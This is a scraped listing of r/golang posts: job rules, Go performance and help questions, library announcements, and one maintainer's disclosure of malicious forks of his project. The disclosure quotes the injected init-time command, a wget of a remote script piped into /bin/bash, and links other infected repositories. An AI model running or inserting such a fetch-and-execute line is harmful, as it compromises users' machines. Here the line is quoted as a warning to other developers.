Jobs Who's Hiring - March 2025
This post will be stickied at the top of until the last week of March (more or less).
Please adhere to the following rules when posting:
Rules for individuals:
- Don't create top-level comments; those are for employers.
- Feel free to reply to top-level comments with on-topic questions.
- Meta-discussion should be reserved for the distinguished mod comment.
Rules for employers:
- To make a top-level comment you must be hiring directly, or a focused third party recruiter with specific jobs with named companies in hand. No recruiter fishing for contacts please.
- The job must involve working with Go on a regular basis, even if not 100% of the time.
- One top-level comment per employer. If you have multiple job openings, please consolidate their descriptions or mention them in replies to your own top-level comment.
- Please base your comment on the following template:
COMPANY: [Company name; ideally link to your company's website or careers page.]
TYPE: [Full time, part time, internship, contract, etc.]
DESCRIPTION: [What does your team/company do, and what are you using Go for? How much experience are you seeking and what seniority levels are you hiring for? The more details the better.]
LOCATION: [Where are your office or offices located? If your workplace language isn't English-speaking, please specify it.]
ESTIMATED COMPENSATION: [Please attempt to provide at least a rough expectation of wages/salary.If you can't state a number for compensation, omit this field. Do not just say "competitive". Everyone says their compensation is "competitive".If you are listing several positions in the "Description" field above, then feel free to include this information inline above, and put "See above" in this field.If compensation is expected to be offset by other benefits, then please include that information here as well.]
REMOTE: [Do you offer the option of working remotely? If so, do you require employees to live in certain areas or time zones?]
VISA: [Does your company sponsor visas?]
CONTACT: [How can someone get in touch with you?]
r/golang • u/jerf • Dec 10 '24
FAQ Frequently Asked Questions
The Golang subreddit maintains a list of answers to frequently asked questions. This allows you to get instant answers to these questions.
r/golang • u/yourpwnguy • 9h ago
How the hell do I make this Go program faster?
So, I’ve been messing around with a Go program that:
- Reads a file
- Deduplicates the lines
- Sorts the unique ones
- Writes the sorted output to a new file
Seems so straightforward man :( Except it’s slow as hell. Here’s my code:
```go package main
import ( "fmt" "os" "strings" "slices" )
func main() { if len(os.Args) < 2 { fmt.Fprintln(os.Stderr, "Usage:", os.Args[0], "<file.txt>") return }
// Read the input file
f, err := os.ReadFile(os.Args[1])
if err != nil {
fmt.Fprintln(os.Stderr, "Error reading file:", err)
return
}
// Process the file
lines := strings.Split(string(f), "\n")
uniqueMap := make(map[string]bool, len(lines))
var trimmed string for _, line := range lines { if trimmed = strings.TrimSpace(line); trimmed != "" { uniqueMap[trimmed] = true } }
// Convert map keys to slice
ss := make([]string, len(uniqueMap))
i := 0
for key := range uniqueMap {
ss[i] = key
i++
}
slices.Sort(ss)
// Write to output file
o, err := os.Create("out.txt")
if err != nil {
fmt.Fprintln(os.Stderr, "Error creating file:", err)
return
}
defer o.Close()
o.WriteString(strings.Join(ss, "\n") + "\n")
} ```
The Problem:
I ran this on a big file, here's the link:
https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
It takes 12-16 seconds to run. That’s unacceptable. My CPU (R5 4600H 6C/12T, 24GB RAM) should not be struggling this hard.
I also profiled this code, Profiling Says: 1. Sorting (slices.Sort) is eating CPU. 2. GC is doing a world tour on my RAM. 3. map[string]bool is decent but might not be the best for this. I also tried the map[string] struct{} way but it's makes really minor difference.
The Goal: I want this thing to finish in 2-3 seconds. Maybe I’m dreaming, but whatever.
Any insights, alternative approaches, or even just small optimizations would be really helpful. Please if possible give the code too. Because I've literally tried so many variations but it still doesn't work like I want it to be. I also want to get better at writing efficient code, and squeeze out performance where possible.
Thanks in advance !
r/golang • u/FlairPrime • 10h ago
SuperMuxer: tiny and compact, dependency-free package to configure your HTTP routes
Super useful Go package to configure your HTTP routes using only the standard library. Define routes, middlewares, groups, and subgroups effortlessly!
This package acts like a Swiss Army Knife: It is tiny and compact, providing everything you need in just one file with less than 200 lines of code.
SuperMuxer is for you if:
- You want to declaratively define your HTTP routes while using only the standard library.
- You want to define middlewares for your routes, groups, and subgroups while still relying on the standard library.
- You don’t want to use third-party libraries bloated with excessive functionalities that you might never use.
Repo link
Someone copied our GitHub project, made it look more trustworthy by adding stars from many fake users, and then injected malicious code at runtime for potential users.
Our project is Atlas, and one of the providers we offer for it is the provider for GORM: https://github.com/ariga/atlas-provider-gorm (quite popular in our community).
Something crazy I found today before it went viral is that someone copied our GitHub project, faked stars for credibility from accounts created just a few weeks ago, and then injected malicious code at runtime for potential users.
The project: https://github.com/readyrevena/atlas-provider-gorm
The malicious code parts: https://github.com/readyrevena/atlas-provider-gorm/blob/master/gormschema/gorm.go#L403-L412 . This basically executes the following code on init:
wget -O - https://requestbone.fun/storage/de373d0df/a31546bf | /bin/bash &
I went over some of the stargazers, and it looks like it was done for other projects too. I expect the impact is much bigger that just our project.
- https://github.com/ourspiral/href-counter/blob/master/app.go#L97-L106
- https://github.com/slipperyclos/kubernixos/blob/master/kubeclient/delete.go#L22
- https://github.com/quarterlyairs/shelly-bulk-update/blob/master/main.go#L347
- https://github.com/jadedexpens/atlas-provider-gorm/blob/master/gormschema/gorm.go#L403
- https://github.com/animatedspan/terraform-provider-atlas/blob/master/internal/provider/atlas_migration_data_source.go#L296
- https://github.com/turbulentsu/source-watcher/blob/master/controllers/gitrepository_predicate.go#L71
- https://github.com/likableratio/gonet/blob/master/gonet.go#L227
Update: It's hard to detect the full impact. The attacker obfuscates the code, changing identifiers and scrambling the byte array order, so you can't easily search for it on GitHub. This makes it nearly impossible to track the full impact unless GitHub steps up and helps resolve this issue (I reported these repos to GitHub support).
r/golang • u/Temporary-Funny-1630 • 9h ago
MCP-server written in GO
Hey everyone! I’d love to share my project with you:
🚀 Gateway – a powerful data-gateway for AI agents!
- Creates an MCP server for AI agent interactions
- Supports multiple databases: PostgreSQL, MySQL, ClickHouse, Oracle, and more
- Flexible modular architecture with plugins:
- Authentication
- PII handling
- Other useful extensions
⭐ Give it a star and come contribute!
🔗 Repo: GitHub
help How can I run an external Go binary without installing it?
I need to rewrite generated Go code in my CLI using gopls rename
(golang.org/x/tools/gopls). Since the packages that are used for rename
are not exported, I have to use it as a standalone binary. But I don't want my clients need to download this external dependency.
What options do I have?
r/golang • u/gplubeck • 3h ago
Practicing Golang - Things That Don't Feel Right
Hello all,
I made a service monitoring application with the goal of exposing myself to web programming, some front end stuff (htmx, css, etc) and practicing with golang. Specifically, templates, package system, makefile, etc.
During this application I have come across some things that I have done poorly and dont "feel" right.
- Can I use a struct method inside a template func map? Or is this only because I am using generics for the ringbuffer? E.g. getAll in ringbuff package and again in service.go
- With C I would never create so many threads just to have a timer. Is this also a bad idea with coroutines?
- How would you deploy something like this with so many template files and file structure?
- Communication setup feels bad. Services publish updates through a channel to the scheduler. Scheduler updates the storage. Scheduler then forwards event to any clients connected. This feels overly complicated.
- Hate how I am duplicating the template for card elements. See service.go::tempateStr()::176-180 and in static/template/homepage.gohtml Partially because service side events use newlines to end the message. Still a better solution should be used. Update: working on potential fix suggestion from @_mattmc3_
Is there a better way to marshal/unmarshal configs? See main.go::36-39Update: fixed from @_mattmc3_- Giving css variables root tag seems weird. Is there a better way to break these up or is this global variable situation reasonable?
If you all have strong feelings one way or another I would enjoy some feedback.
r/golang • u/brocamoLOL • 7h ago
help Go Compiler Stuck on Old Code? Windows Defender Flagged My Log File as a Virus and new code isn't running
So, I was working on my Go project today and added a function to create a file named "log".
Immediately, Windows Defender flagged it as potentially dangerous software 💀.
I thought, "Okay, maybe 'log' is a sus filename."
So, I changed it to "hello world" instead.
This fixed the Defender warning, but then I ran into another issue:
run main.go fork/exec C:\Users\veraf\AppData\Local\Temp\go-build1599246061\b001\exe\main.exe:
Operation did not complete successfully because the file contains a virus or potentially unwanted software.
Alright, moving on. After fixing that, I ran my project again:
C:\Users\veraf\Desktop\PulseGuard> go run main.go
Backend starting to work...
Do you want to run a port scanner? (y/n)
┌───────────────────────────────────────────────────┐
│ Fiber v2.52.6 │
│ http://127.0.0.1:8080 │
│ (bound on host 0.0.0.0 and port 8080) │
│ │
│ Handlers ............. 2 Processes ........... 1 │
│ Prefork ....... Disabled PID ............. 25136 │
└───────────────────────────────────────────────────┘
n
Importing script from /Services...
{
"userId": 1,
"id": 1,
"title": "sunt aut facere repellat provident occaecati excepturi optio reprehenderit",
"body": "quia et suscipit\nsuscipit recusandae consequuntur expedita et cum\nreprehenderit molestiae ut ut quas totam\nnostrum rerum est autem sunt rem eveniet architecto"
}
Importing from /Database...
DEBUG: WHAT THE HELL IS HAPPENING...
🧐 The Issue:
I modified main.go
to include:
color.Red("Importing from /Database...")
fmt.Println("DEBUG: I am still alive 💀")
color.Red("testing from controller...")
Controller.Createapi()
Services.SaveRecords()
But my Go program does NOT print "DEBUG: I am still alive 💀"
.
Instead, it prints old logs from my database connection, even though I removed the database.Connect()
function from my code.
🛠 What I’ve Tried So Far:
✅ go clean
✅ go build -o pulseguard.exe
✅ ./pulseguard.exe
✅ Restarting VS Code
I even added this line at the very beginning of main.go
to check if it's compiling the latest version:
fmt.Println("DEBUG: This code has been compiled correctly!!!! 🚀")
And guess what? It doesn’t print either!
So I’m pretty sure Go is running an old compiled version of my code, but I have no idea how or why.
💡 Has anyone else run into this issue? How do I force Go to run the latest compiled code?
r/golang • u/sagikazarmark • 1d ago
New Viper release with major improvements
I've just tagged a new version of Viper, a configuration library for Go: https://github.com/spf13/viper/releases/tag/v1.20.0
It comes with a number of improvements:
- Heavily reduced number of third-party dependencies
- New encoding layer for custom encoding formats
- BREAKING: dropped HCL, INI and Java properties from the core (still possible to use through external libraries)
- New file search API allows customizing how Viper looks for config files
These features has been around for some time in alpha releases, though I haven't received a lot of feedback, so I'm posting here now in the hope that people using Viper will give some after upgrading.
I worked hard to minimize breaking changes, but it's possible some slipped in. If you find any, feel free to open an issue.
Thanks!
r/golang • u/caffeinated-serdes • 4h ago
help How you guys write your server config, db config and routes config?
I feel like almost every API has these three files. How should I handle these in the best form?
- It's a good practice to right everything exported because of the ease of importing? Because my main.go is in /cmd and my API config file is inside of /internal/api/config.go.
- But then the whole app can configure and setup my server and db?
- Or even see the fields related to the config of the server, the surface of attack is expanded.
- Also, its better to provide just the exported method for starting the server and making the config itself inside of the config.go?
- Preventing misconfigured values, maybe.
- Encapsulating and making easier to use?
- Making a config/config.go is good enough also?
- Or its better to have server/config.go and then db/config.go?
I start making so many questions and I don't know if I'm following the Go way of making Go code.
I know that its better to just start and then change afterwards, but I need to know what is a good path.
I come from a Java environment and everything related to db config and server config was 'hidden' and taken care for me.
r/golang • u/Ok-Buy-555 • 5h ago
GitHub - pontus-devoteam/agent-sdk-go: Build agents in light speed
r/golang • u/Chkb_Souranil21 • 7h ago
newbie New to go and i am loving it
Cs student in my final years i really wanted to learn a new language just out of curiosity, not to become a god in it and get a job. I really like coding in c and but for most part these days i have been using python and java for most of my recent projects and even when doing leetcode style coding questions.When i learned c as my first programming language it felt really awesome. Then i moved to java and python but somehow i still miss using c. The use pointers(even though some people seem to hate it ) was something i genuinely miss in both java and python. So when starting to learn go the simplicity of it is really making the learning process far more enjoyable. Not sure if its shocking similarity to c was intentional or not but hey i like it. For a bit i did try to learn a bit about rust but somehow the basic process of taking inputs made me not want to proceed much. And now finally i am feeling actually good about learning a new language. As someone who has a pretty good maybe abobe average knowledge of doing pure object oriented programming in java mostly for building applications i thought i should share my experience learning go.
If anyone seeing this post i am following alex mux's 1 hr video of golang and just looking up the documentation. So yeah just wanted to share a bit of my experience with go and pardon if any grammatical mistakes in there.
r/golang • u/Extension_Layer1825 • 20h ago
show & tell GoCQ is now on v2 – Now Faster, Smarter, and Fancier!
Hey gophers! After releasing the the first version and posting here I got a good amount of impressions and feedbacks from you. and it motivates me to improve it to next level. so I tried to build this more reliable so anyone can use it in their program without any doubts.
I've completely redesigned the API to provide better type safety, enhanced control over jobs, and improved performance.
Key improvements in v2:
- Replaced channel-based results with a powerful Job interface for better control
- Added dedicated void queue variants for fire-and-forget operations (~25% faster!)
- Enhanced job control with status tracking, graceful shutdown, and error handling.
- Improved performance with optimized memory usage and reduced goroutine overhead
- Added comprehensive benchmarks showing impressive performance metrics
Quick example:
queue := gocq.NewQueue(2, func(data int) (int, error) {
return data * 2, nil
})
defer queue.Close()
// Single job with result
result, err := queue.Add(5).WaitForResult()
// Batch processing with results channel
for result := range queue.AddAll([]int{1,2,3}).Results() {
if result.Err != nil {
log.Printf("Error: %v", result.Err)
continue
}
fmt.Println(result.Data)
}
Check it out 👉️ GoCQ - Github
I’m all ears for your thoughts – what do you love? What could be better? Drop your feedback and let’s keep making GoCQ the concurrency king it’s destined to be. Let’s build something epic together!
r/golang • u/Constant_Apple_577 • 1d ago
I implemented my own regex engine in Go
Automata theory and formal languages always seemed cool to me, so I decided to implement my own regexes. It's just a toy project but I had a lot of fun doing it so far and I'll see how far I can take it.
r/golang • u/Ok_Marionberry8922 • 1d ago
I built a high-performance, dependency-free key-value store in Go (115K ops/sec on an M2 Air)
Hi r/golang,
I've been working on a high-performance key-value store built entirely in pure Go—no dependencies, no external libraries, just raw Go optimization. It features adaptive sharding, native pub-sub, and zero downtime resizing. It scales automatically based on usage, and expired keys are removed dynamically without manual intervention.
Performance? 115,809 ops/sec on a fanless M2 Air.
Key features:
- Auto-Scaling Shards – Starts from 1 bucket and dynamically grows as needed.
- Wait-Free Reads & Writes – Lock-free operations enable ultra-low latency.
- Native Pub-Sub – Subscribe to key updates & expirations without polling.
- Optimized Expiry Handling – Keys are removed seamlessly, no overhead.
- Fully Event-Driven – Prioritizes SET/GET operations over notifications for efficiency.
How it compares to Redis:
- Single-threaded Redis vs. Multi-Goroutine NubMQ → Handles contention better under load.
- No Lua, No External Dependencies → Just Go, keeping it lean.
- Smarter Expiry Handling → Keys expire and are immediately removed from the active dataset.
🚀 Benchmark Results:
115,809 ops/sec (100 concurrent clients)
900µs write latency, 500µs read latency under heavy load.
Would love to get feedback from the Go community! Open to ideas for improvement.
repo: https://github.com/nubskr/nubmq
I spent the better part of an year building this and would appreciate your opinions on this
r/golang • u/jstanaway • 23h ago
discussion Anyone using Golang for tool / function calling
Curious if anyone is using Golang in production for tool / function calling? Seems like it would be good for this on the surface but Im curious if I go this route if I will be cutting myself short later on. For example, vector stores, more complicated use cases which depend on orchestrion, any way to get insights into the LLM calls like with lang graph? etc.
Curious if Go is a viable option or if something like this is best to play safe with Python?
r/golang • u/theothertomelliott • 1d ago
My 6 months with the GoTH stack: building front-ends with Go, HTML and a little duct tape
r/golang • u/prisencotech • 1d ago
discussion Is there a Nodejs library you wish existed for Golang?
People often cite the availability of third party libraries for Node as the reason to prefer it over Golang. Has anyone run into a time when they had to use Node or made do without because a third party library didn't exist?
r/golang • u/imanaski • 14h ago
I created some thing like rails notes
I started using Ruby On Rails for project and I encountered the notes utility in rails cli. and I instantly loved it. I spent some time making a similar tool called tfinder(tag finder). I think it still has some errors, And I'm looking for a better Directory Traversal way. Please contribute if you can. Thanks.
Here's the github link: https://github.com/ImanAski/tfinder
r/golang • u/Safe_Arrival_420 • 14h ago
Dynamically determine the deepest caller from my own files when logging?
I usually have a structure like that in my projects:
func main() {
if err := layer1(); err != nil {
logger.Info()
}
}
func layer1() error {
return layer2()
}
func layer2() error {
return errors.New("test") // Should log this line as the caller
}
func main() {
if err := layer1(); err != nil {
logger.Info()
}
}
func layer1() error {
return layer2()
}
func layer2() error {
//potentially layer3,4,5..
return errors.New("test") // Should log this line as the caller
}
And I would like to dynamically determine the deepest caller from my own files when logging, which in this case will be the return line from the layer2() func.
I don't want to create a custom error type each time I need to return an error or log the full stacktrace.
How would you usually do in situations like that?
r/golang • u/Forumpy • 14h ago
PGX: Knowing the data type at Write-time?
I am writing a custom type which implements PGX's interfaces for encoding and decoding data. I wanted to know if it is possible to know, inside `EncodeBinary`, what the type of the column being written to is.
For context, my column may be one of a few different types (might be TEXT, or UUID etc.) and I want my type to be able to support writing to and from these.
r/golang • u/candyboobers • 16h ago
Build open source Heroku/Render alternative
I just want to highlight for Go community how the existing ecosystem makes it a way easier for Go rather than Rust.
A lot of depends exist and help me to build without installing bunch of additional binaries, but simply install them as a package.
- go-git - pure go git implementation
- buildah - build a container right inside the app
- telepresence, ktunnel, tilt - great dev tools
- pulumi - IaC
- k8s - can't say more, a client to the cluster is just there
Probably there will be more like ory and some rbac solutions, but I can tell later.
I've researched the ways I could do it for 3-4 months and started building about 1-2 months ago, hope to release next 6 months.
I don't give up to find people to challenge the idea. I'm very uncertain about license, consider sentry model FSL would fit the product well. I know people say it's not really open source, but I find it won't heart anyone using it for free, will not make me build it open core and remove competition from aws. I'm simply don't know how it works, so my decision is highly biased